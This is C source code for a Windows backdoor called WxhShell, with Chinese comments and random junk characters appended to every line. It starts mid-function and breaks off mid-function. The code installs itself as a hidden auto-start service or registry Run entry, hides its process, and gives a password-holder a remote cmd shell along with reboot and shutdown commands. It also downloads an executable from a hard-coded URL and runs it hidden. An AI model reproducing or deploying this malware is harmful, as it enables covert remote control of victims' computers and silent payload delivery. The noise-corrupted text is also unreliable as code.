    } \m!swYy  
  // 关机 9F~U% >GX  
  case 'd': { EZkg0FhkZ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); zuOx@T^  
    if(Boot(SHUTDOWN)) ?'H);ou-p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  /kGRN @  
    else { pyK|zvr-r  
    closesocket(wsh); M70Xdn  
    ExitThread(0); A:3bL: ;t  
    } VNx|nP&  
    break; 8ID fYJ  
    } 0*^)n&O  
  // 获取shell V.;,1%  
  case 's': { )L#C1DP#  
    CmdShell(wsh); >V:g'[b  
    closesocket(wsh); (80#{4kl  
    ExitThread(0); -d\O{{%>.z  
    break; _5Q?]-M  
  } >8;Co]::kx  
  // 退出 4ew|5Zex.~  
  case 'x': { T*>n a8W  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _H|c _  
    CloseIt(wsh); !pI)i*V|  
    break; :<d\//5<9  
    } =LJc8@<:f  
  // 离开 rkA0v-N6v  
  case 'q': { d>:(>@wz  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &F" Mkyf  
    closesocket(wsh); Y >-|`2Z  
    WSACleanup(); po_||NIY  
    exit(1); 4%O*2JAw  
    break; lp5`Kw\  
        } _xign 3  
  } #ej^K |Qx  
  } 07-S%L7Z  
Uh}n'Xd#{}  
  // 提示信息 P8.tl"q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iZ+\vO?|  
} Ak%M,``(L  
  } !]Z> T5$  
S1^u/$*6  
  return; #=R)s0j"  
} <Ft6d  
^GdU$%aa  
// shell模块句柄 }NPF]P;  
int CmdShell(SOCKET sock) NUBzmnA>8  
{ 0`/PEK{  
STARTUPINFO si; vrXmzq  
ZeroMemory(&si,sizeof(si)); D1bS=> ;,"  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #V[ ?puE@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; U:>'^tkp  
PROCESS_INFORMATION ProcessInfo; b3e:F{n ^  
char cmdline[]="cmd"; Y4`MgP8t  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~*-ar6  
  return 0; 'X{cDdS^  
} +uW$/_Y$  
N)A?*s'v~  
// 自身启动模式 qWe1`.o  
int StartFromService(void) CtVY;eG  
{ o9M[Zr1@k  
typedef struct ''!pvxA  
{ VP=(",`  
  DWORD ExitStatus; 48M)A  
  DWORD PebBaseAddress; |jm|/{lc  
  DWORD AffinityMask; 3ydOBeY  
  DWORD BasePriority; w\=zTHo88  
  ULONG UniqueProcessId; ;nG"y:qq  
  ULONG InheritedFromUniqueProcessId; ]@1YgV  
}   PROCESS_BASIC_INFORMATION; XhFa9RC  
8%JxXtWW`  
PROCNTQSIP NtQueryInformationProcess; (5{|']G  
IjN3 jU  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ';??0M  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; e;pVoRI  
vTjgW?9  
  HANDLE             hProcess; R|H9AM ~E  
  PROCESS_BASIC_INFORMATION pbi; <5/r  
h{.KPK\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2}]6~i  
  if(NULL == hInst ) return 0; AY:3o3M  
+O3zeL  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =25q Y"Mf  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?RvXO'ml  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); VE^NSk Oa&  
_:0<]<x?  
  if (!NtQueryInformationProcess) return 0;  }5bh,'  
I#@iA!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #(h~l> r  
  if(!hProcess) return 0; )eGGA6G  
}GsZ)\!$4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -h*Yd)  
l.1)%q&@^  
  CloseHandle(hProcess); B?-RzWB\3  
dv-yZRU:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (?xGl V`n  
if(hProcess==NULL) return 0; Y5=~>*e  
!U}A1)  
HMODULE hMod; @B ~! [l  
char procName[255]; +GI[ Kq  
unsigned long cbNeeded; 'Z'X`_  
oT&JQ,i[2Q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Y32F { z  
]>/YU*\  
  CloseHandle(hProcess); !`\W8JT+  
Dqe)8 r  
if(strstr(procName,"services")) return 1; // 以服务启动 y?<[g;MuT  
VgZ<T,SuW  
  return 0; // 注册表启动 Gk,{{:M:5  
} MLY19;e  
>1a- }>r  
// 主模块 Vj4 if@Z  
int StartWxhshell(LPSTR lpCmdLine) $/],QD_;"  
{ !798%T  
  SOCKET wsl; ~w Dmt  
BOOL val=TRUE; |K'{R'A  
  int port=0; %cO;{og M  
  struct sockaddr_in door; \8Mkb]QA  
N<hbV0$%  
  if(wscfg.ws_autoins) Install(); 3XY$w&f  
vX)6N#D!  
port=atoi(lpCmdLine); t*<vc]D  
xC`Hm?kM  
if(port<=0) port=wscfg.ws_port; n=r}jRH1  
:7Rs$ -*Uk  
  WSADATA data; (U2G"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; m0]LY-t  
FR0zK=\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   aRq7x~j )\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8_>\A= E  
  door.sin_family = AF_INET; :84ja>`c  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Y+iC/pd  
  door.sin_port = htons(port); G#5Cyu<r!  
@iUzRsl  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3`TC*  
closesocket(wsl); V-A^9AAPm  
return 1; qh0)~JL4   
} &o^wgmS   
dpZ7eJ   
  if(listen(wsl,2) == INVALID_SOCKET) { sxgR;gf6  
closesocket(wsl); _XXK1H x  
return 1; yr&oJYM  
} cAyR)Y!I  
  Wxhshell(wsl); 2P$lXGjh  
  WSACleanup(); ce2d)FG}e  
s7I*=}{g0.  
return 0; , p1 (0i  
& /-@R|  
} Qat%<;P2  
FvG9PPd  
// 以NT服务方式启动 "x9xJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) z:u`W#Rf  
{ $2]1 3j  
DWORD   status = 0; MGc=TQ.  
  DWORD   specificError = 0xfffffff; Rt7}e09HV  
*Vfas|3hZI  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ol!o8M%Q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; KblOP{I  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; kjaz{&P  
  serviceStatus.dwWin32ExitCode     = 0; J}jK_  
  serviceStatus.dwServiceSpecificExitCode = 0; Vnh +2XiK  
  serviceStatus.dwCheckPoint       = 0;  3mWo`l  
  serviceStatus.dwWaitHint       = 0; rctn0*MP  
_QvyFKAM  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); gK(E0p"  
  if (hServiceStatusHandle==0) return; XYod>[.x  
l]WV?^*  
status = GetLastError(); hNDhee`%6  
  if (status!=NO_ERROR) (N;Jw^C@  
{ (&x~pv"+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  cD0  
    serviceStatus.dwCheckPoint       = 0; F1M@$S ,  
    serviceStatus.dwWaitHint       = 0; QIi*'21a+  
    serviceStatus.dwWin32ExitCode     = status; v^@L?{" }8  
    serviceStatus.dwServiceSpecificExitCode = specificError; Y D.3FTNGC  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {6 #3`  
    return; x ?^c:`.  
  } $nn~K  
<g*rTqT'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; M|n)LyL  
  serviceStatus.dwCheckPoint       = 0; %M}zi'qQ?  
  serviceStatus.dwWaitHint       = 0; rFx2 S  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /4_}wi\  
} *N>Qj-KAM_  
=7e8N&-nv  
// 处理NT服务事件,比如:启动、停止 .Z_U]_(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) GbP!l;a  
{ /2FX"I[0V%  
switch(fdwControl) am%qlN<  
{ Efp=z=E  
case SERVICE_CONTROL_STOP: 1/cb;:h>  
  serviceStatus.dwWin32ExitCode = 0; Q~xR'G[N  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1'aS2vB9  
  serviceStatus.dwCheckPoint   = 0; xR_]^Get  
  serviceStatus.dwWaitHint     = 0; >E]*5jqU  
  { g!~j Wn?A  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gKYn*  
  } T{)!>)  
  return; "*7I~.7U(*  
case SERVICE_CONTROL_PAUSE: e\yj>tQJg  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; UD9h5PgT  
  break; s|,]Nb=z/  
case SERVICE_CONTROL_CONTINUE: ZM|>Va/X  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; b%oma{I=.c  
  break; G x,D'H'  
case SERVICE_CONTROL_INTERROGATE: 1c}'o*K_%  
  break; nn=JM7e\9  
}; 20fCWVw}?}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fLD9RZ8_  
} 8ZIv:nO$  
iGhapD  
// 标准应用程序主函数 M2s   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) qh2.N}lW  
{ |HG%o 3E]  
qS2%U?S7  
// 获取操作系统版本 ux =a9  
OsIsNt=GetOsVer(); 0(i`~g5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [;?^DAnK2  
wR;l"*j  
  // 从命令行安装 }K*ri  
  if(strpbrk(lpCmdLine,"iI")) Install(); PH7L#H^  
~(Tz <  
  // 下载执行文件 S;t~"87v*  
if(wscfg.ws_downexe) { +?.,pqn<=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3R{-\ZMd  
  WinExec(wscfg.ws_filenam,SW_HIDE); mdZELRu  
} Y4{`?UM&h  
JfVay I=  
if(!OsIsNt) { <;XJ::d  
// 如果时win9x,隐藏进程并且设置为注册表启动 ] !A;-m  
HideProc(); K[ \z'9Q  
StartWxhshell(lpCmdLine); hV,3xrm?P  
} *jJ62-o  
else VLO>{"{'  
  if(StartFromService()) :?p{ga9  
  // 以服务方式启动 +]>a`~   
  StartServiceCtrlDispatcher(DispatchTable); bkM$ Qo  
else z N t7DK  
  // 普通方式启动 /tUl(Fp J`  
  StartWxhshell(lpCmdLine); "~[Rwh?  
Gt1Up~\s  
return 0; t]` 2f3UO  
} q@\_q!  
sbs"26IE  
Y{O&- 5H^|  
p;5WLAF  
=========================================== b9Y pUm7#  
+p[~hM6?  
6 %=BYDF  
JxvwquI  
tS9m8(Hr%Q  
1y@-  
" 7d<v\=J}  
z=fag'fzM  
#include <stdio.h> -?]ltn9!  
#include <string.h> 9F-k:hD |  
#include <windows.h> W+eN%w5  
#include <winsock2.h> ;+jp,( 7  
#include <winsvc.h> oF>GWst TR  
#include <urlmon.h> E??%)q  
e"2QV vB  
#pragma comment (lib, "Ws2_32.lib") FjydEV  
#pragma comment (lib, "urlmon.lib") zm"\D vN)  
J{Ay(  
#define MAX_USER   100 // 最大客户端连接数 7 dzE"m  
#define BUF_SOCK   200 // sock buffer \%C[l  
#define KEY_BUFF   255 // 输入 buffer yjr@v!o  
l6 WcnJ  
#define REBOOT     0   // 重启 <-?B#  
#define SHUTDOWN   1   // 关机 7^iAc6QSy3  
xL BG}C  
#define DEF_PORT   5000 // 监听端口 q)~qd$yMS  
6+FON$8  
#define REG_LEN     16   // 注册表键长度 Om^/tp\  
#define SVC_LEN     80   // NT服务名长度 K$ &wO.  
gP<_DEd^`  
// 从dll定义API ,YY#ed&l  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); '-vy Q^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); n~ql]Ln  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Gw./qu-W  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \1!k)PZdTW  
;1dz?'%V  
// wxhshell配置信息 \PFx# :-c  
struct WSCFG { |W <:rT  
  int ws_port;         // 监听端口 /Ow?nWSt  
  char ws_passstr[REG_LEN]; // 口令 k$c j|-<  
  int ws_autoins;       // 安装标记, 1=yes 0=no 93J)9T  
  char ws_regname[REG_LEN]; // 注册表键名 3wE8y&  
  char ws_svcname[REG_LEN]; // 服务名 _y9P]@Q7%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6:,^CI|@ t  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 c{Kl?0#[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 W~tOH=9>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no hkJZqUA  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  SoX V  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 MT`gr  
gp HwiFc  
}; Q8x{V_Pot  
_p&$X  
// default Wxhshell configuration zl\#n:|  
struct WSCFG wscfg={DEF_PORT, ='0!B]<G  
    "xuhuanlingzhe", }/spo3,6  
    1, d mz3O(]$  
    "Wxhshell", ,7P^]V1  
    "Wxhshell", _w;+Jh  
            "WxhShell Service", ? 6d4T  
    "Wrsky Windows CmdShell Service", 2-0cB$W+  
    "Please Input Your Password: ", zfb _ )  
  1, Hz8`)cv`  
  "http://www.wrsky.com/wxhshell.exe", <&:&qn gg  
  "Wxhshell.exe" )F9r?5}v4x  
    };  ~C/KA6H  
A=UIN!  
// 消息定义模块 SAh054/St  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |nN/x<v  
char *msg_ws_prompt="\n\r? for help\n\r#>"; gF6j6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; NCnId}BT  
char *msg_ws_ext="\n\rExit."; %uVJL z  
char *msg_ws_end="\n\rQuit."; [IFRwQ^%_O  
char *msg_ws_boot="\n\rReboot..."; *"FLkC4  
char *msg_ws_poff="\n\rShutdown..."; "GI&S%F  
char *msg_ws_down="\n\rSave to "; rs Uw(K^  
DXW?;|8)O  
char *msg_ws_err="\n\rErr!"; ~88 Tz+  
char *msg_ws_ok="\n\rOK!"; { $/Fk6qr  
Gr$*t,ZW  
char ExeFile[MAX_PATH]; 9jGuelwN  
int nUser = 0; F.pHL)37  
HANDLE handles[MAX_USER]; gH^$Y~Lx  
int OsIsNt; ?vn 0%e868  
' P`p.5nH  
SERVICE_STATUS       serviceStatus; ef}E.Bl  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; eH%L?"J~:  
c48J!,jCd'  
// 函数声明 0j!ke1C&C  
int Install(void); b2X'AHK S  
int Uninstall(void); }&T<wm!  
int DownloadFile(char *sURL, SOCKET wsh); y C0f/O  
int Boot(int flag); 0IgnpeA]  
void HideProc(void); `3y!XET  
int GetOsVer(void); E)Qh]:<2v  
int Wxhshell(SOCKET wsl); Kwl qi]~  
void TalkWithClient(void *cs); bI]UO)  
int CmdShell(SOCKET sock); 2r}uE\GN  
int StartFromService(void); )xvx6?Ah|  
int StartWxhshell(LPSTR lpCmdLine); SXBQ  
'!^E92  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @SC-vc  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); sb|3|J6=  
Q;XHHk  
// 数据结构和表定义 O<dZA=Oez  
SERVICE_TABLE_ENTRY DispatchTable[] = p~q_0Pg%  
{ RUk<=! U  
{wscfg.ws_svcname, NTServiceMain}, #i+P(xV  
{NULL, NULL} Qw<kX*fxrI  
}; "T{~,'T  
a\&(Ua  
// 自我安装 Ukx/jNyYv  
int Install(void) Ztyv@z'/Z  
{ 762o~vY6$  
  char svExeFile[MAX_PATH]; %<wQ  
  HKEY key; u3M` 'YCb  
  strcpy(svExeFile,ExeFile); ^\ vfos  
zY+t,2z  
// 如果是win9x系统,修改注册表设为自启动 )_9e@ ~,  
if(!OsIsNt) { v$)@AE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /=muj9|+s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7"n)/;la  
  RegCloseKey(key); 6)#- 5m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kj{rk^x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TOco({/_/  
  RegCloseKey(key); fXu~69_  
  return 0; P34LV+e  
    } yZ;k@t_WRD  
  } `rz`3:ZH  
} ^<>Jw%H  
else { $kkp*3{ot  
piYws<Q  
// 如果是NT以上系统,安装为系统服务 vLnq%@x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Q(=Vk~v  
if (schSCManager!=0) 8K@"B  
{ ' 1P=^  
  SC_HANDLE schService = CreateService xm}q6>jRV  
  ( Q{qj  
  schSCManager, iHE0N6%q  
  wscfg.ws_svcname, *xX( !t'  
  wscfg.ws_svcdisp, Jt-X mGULB  
  SERVICE_ALL_ACCESS, [GR]!\!%~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]cF1c90%  
  SERVICE_AUTO_START, hl6,#2$  
  SERVICE_ERROR_NORMAL, Y7*(_P3/  
  svExeFile, y:g7'+c  
  NULL, x{NNx:T1  
  NULL, +  ZR(  
  NULL, ^MW\t4pZ  
  NULL, #*yM2H"7,;  
  NULL 943I:, B  
  ); L4YVH2`0)  
  if (schService!=0) JCw{ ?^F"  
  { #<a_: m)@  
  CloseServiceHandle(schService); )(h&Q? Ar  
  CloseServiceHandle(schSCManager); Y!++C MzU  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); QL)>/%yU  
  strcat(svExeFile,wscfg.ws_svcname); 1DEO3p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <a8#0ojm  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); WF ?/GN  
  RegCloseKey(key); O`wYMng)  
  return 0; qDby!^ryc  
    } n0rerI[R  
  } S2J#b"Y  
  CloseServiceHandle(schSCManager); CrnB{Z4L  
} )"(V*Z  
} g2g`,"T  
ps"/}u l  
return 1; to99 _2  
} {l0,T0  
N<KKY"?I'  
// 自我卸载 {PN:bb  
int Uninstall(void) \We"?1^  
{ PHQ{-b?4t  
  HKEY key; $.oOG"u0]  
0s 860Kn  
if(!OsIsNt) { 0zeUP {MQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wzD\8_;6N  
  RegDeleteValue(key,wscfg.ws_regname); 2}^+ ]5  
  RegCloseKey(key); uz*d^gr}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wl7 MfyU  
  RegDeleteValue(key,wscfg.ws_regname); !2GHJHxv]c  
  RegCloseKey(key); xK$}QZ)  
  return 0; /a@ kS  
  } Y.DwtfE  
} +VSZhg,Np8  
} 90Xt_$_}s  
else { }Q/G &F  
:&Qb>PH[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 'n~fR]h}  
if (schSCManager!=0) sS C?io  
{ OI~}e,[2z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]}BB/KQy^  
  if (schService!=0) Cf Qf7-  
  { fH-NU-"  
  if(DeleteService(schService)!=0) { j h; 9 [  
  CloseServiceHandle(schService); iPMB$SdfO  
  CloseServiceHandle(schSCManager); ,+~2&>wj  
  return 0; @Ppo &>  
  } N g58/}zO  
  CloseServiceHandle(schService); y&7YJx  
  } |kId8WtA  
  CloseServiceHandle(schSCManager); q#;BhPc  
} :FnOS<_B  
} LFCTr/,  
2bWUa~%B  
return 1; -r!42`S  
} 7nm}fT z7  
&kb\,mQ  
// 从指定url下载文件 Q`N18I3  
int DownloadFile(char *sURL, SOCKET wsh) "cwR^DoD&  
{ .\$Wy$ d  
  HRESULT hr; mj)PLZ]  
char seps[]= "/"; L*P_vCC  
char *token; }qG#N  
char *file; ,aI,2U91  
char myURL[MAX_PATH]; d;{y`4p)s  
char myFILE[MAX_PATH]; (/'h4KS@  
KZ]r8  
strcpy(myURL,sURL); .%_)*NUZ  
  token=strtok(myURL,seps); 4&|C}  
  while(token!=NULL) )B81i! q  
  { d5Qd'  
    file=token; |B eA==  
  token=strtok(NULL,seps); 8zAg;b [  
  } 9X3yp:>V  
T: U4:"  
GetCurrentDirectory(MAX_PATH,myFILE); G[#.mD{k  
strcat(myFILE, "\\"); Khj=llo,  
strcat(myFILE, file); h77IWo6%  
  send(wsh,myFILE,strlen(myFILE),0); i!L;? `F{  
send(wsh,"...",3,0); uMHRUi  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); j$+gq*I&E  
  if(hr==S_OK) ovz#  
return 0; +I&J7ICV0  
else r]0(qg  
return 1; `0?^[;[u[  
9<v}LeX  
} sW?B7o?  
bjlkX[{}I  
// 系统电源模块 or7pJy%4"  
int Boot(int flag) va^0JfQ  
{ A';n6ne%i  
  HANDLE hToken; ' X}7]y  
  TOKEN_PRIVILEGES tkp; @LcT-3u  
qp\BV#E  
  if(OsIsNt) { [yC"el6PM  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /tP7uVL R  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  qtzFg#  
    tkp.PrivilegeCount = 1; qL3@PSN?|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Wk}D]o0^@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); O] H=s  
if(flag==REBOOT) { _#FIay\ahB  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) c#  xO<  
  return 0; {|XQO'Wg  
} a!D*)z Y  
else { GQ<Ds{exs>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Y#`Lcg+r,  
  return 0; awFhz 6   
} ?ql2wWsQO  
  } O ^0"  
  else { Mb/L~gd"  
if(flag==REBOOT) { 9Eg&CZ,9$D  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) JR)/c6j  
  return 0; SF^x=[ir  
} .EG* +,  
else { odpUM@OAW  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |Ytg  
  return 0; 6b<+8w  
} C3)|<E  
} /VO^5Dnb  
Ft) lp>3gv  
return 1; r4?b0&Xq  
} YDFCGA  
U*qNix  
// win9x进程隐藏模块 sMm/4AY]  
void HideProc(void) ZBJ3VK  
{ EE]=f=3  
.'/l'>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); b_=8!Q.:  
  if ( hKernel != NULL ) 2e.N"eLNt  
  { IA2GUnUhu  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); b=1%pX_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); z,x" a  
    FreeLibrary(hKernel); +]c}rWm  
  } bDWeU}  
f05=Mc&)  
return; x'qWM/  
} -`Q}tg>cT  
AK*N  
// 获取操作系统版本 HIGNRm  
int GetOsVer(void) 30_ckMG"g  
{ |s f*hlrJ  
  OSVERSIONINFO winfo; |l7%l&!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4P%m>[   
  GetVersionEx(&winfo); .*!#98pT  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9afh[3qm  
  return 1; Me/\z^pF  
  else Us-A+)r*!  
  return 0; Q]rqD83((  
} ,H39V+Y*  
[(|v`qMv/g  
// 客户端句柄模块  rN"Xz  
int Wxhshell(SOCKET wsl) P'tMu6+)  
{ *d>vR1  
  SOCKET wsh; eh<rRx"[  
  struct sockaddr_in client; MCU9O  
  DWORD myID; Q0~j$Jc  
^.vmF>$+I  
  while(nUser<MAX_USER) 6>,# 6{?jl  
{ C),7- ?  
  int nSize=sizeof(client); a4&:@`=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); nm@']  
  if(wsh==INVALID_SOCKET) return 1; %!y89x=E  
VE]6wwV2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); TJOvyz`t  
if(handles[nUser]==0) O@jqdJu  
  closesocket(wsh); S;=_;&68?  
else 1,`H:%z%  
  nUser++; \A<v=VM|  
  } k)":v3 ^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }1U*A#aN7K  
`f)(Y1%.  
  return 0; ,w2WS\`%  
} b/<mRQ{  
[AR>?6G-  
// 关闭 socket K\&o2lo]  
void CloseIt(SOCKET wsh) 1b3(  
{ Oq+E6"<y;?  
closesocket(wsh); 1h=D4yN  
nUser--; z(H?VfJo  
ExitThread(0); q4ipumy*  
} l}}UFEA^  
*eUc.MX6x  
// 客户端请求句柄 ~Ltr.ci  
void TalkWithClient(void *cs) nbmc[!PwG  
{ tZA:  
-(IC~   
  SOCKET wsh=(SOCKET)cs; y ~AmG~  
  char pwd[SVC_LEN]; {DBIonY];  
  char cmd[KEY_BUFF]; >F3.c%VU]w  
char chr[1]; Ld(NhB'7  
int i,j; `4 UlJ4<`  
!M;A*:-  
  while (nUser < MAX_USER) { jG D%r~lN  
(}gcY  
if(wscfg.ws_passstr) { _%ZP{5D>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V1utUGJV  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2dbRE:v5  
  //ZeroMemory(pwd,KEY_BUFF); 6I|A- h  
      i=0; J%Mnjk^_\S  
  while(i<SVC_LEN) { 'RTtE  
QCpM|,drS  
  // 设置超时 3t(c_:[%  
  fd_set FdRead; |J3NR`-R  
  struct timeval TimeOut; (C S8(C4[  
  FD_ZERO(&FdRead); OM:v`<T!z  
  FD_SET(wsh,&FdRead); 3nFt1E   
  TimeOut.tv_sec=8; EJm4xkYLj1  
  TimeOut.tv_usec=0; E4HU 'y~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); o\6iq  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); L"vj0@n'0  
SW9fE :v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?)i1b\4Go  
  pwd=chr[0]; it1/3y =]  
  if(chr[0]==0xd || chr[0]==0xa) { {1~T]5  
  pwd=0; usOx=^?=  
  break; R1%y]]*-P  
  } .y):Rh^  
  i++; AK2WN#u@Z  
    } n29(!10Px  
ddDS=OfH  
  // 如果是非法用户,关闭 socket lS9n@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); NK/4OAt%  
} wss?|XCI  
SUE ~rb  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Q_O*oT(0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4| Ui?.4=  
2]ti!<  
while(1) { ::"E?CQLV  
)`?%]D  
  ZeroMemory(cmd,KEY_BUFF); V3.t;.@  
zxKCVRJ  
      // 自动支持客户端 telnet标准   %}b8aG+  
  j=0; LM.`cb;?G  
  while(j<KEY_BUFF) { Zdn!qyR`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h-mTj3p-K  
  cmd[j]=chr[0]; O4Dr ]Xc]  
  if(chr[0]==0xa || chr[0]==0xd) { ~<r i97)  
  cmd[j]=0; g}Q x`65:  
  break; 4~|<` vqN  
  } x-_vl 9P)  
  j++; cm@;*  
    } Vb)zZ^va+  
: F9|&q-W,  
  // 下载文件 bQQVj?8jp  
  if(strstr(cmd,"http://")) { '6S%9ahE  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +>YfRqz:KB  
  if(DownloadFile(cmd,wsh)) vVVPw?Ww-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); j[e,?!8;  
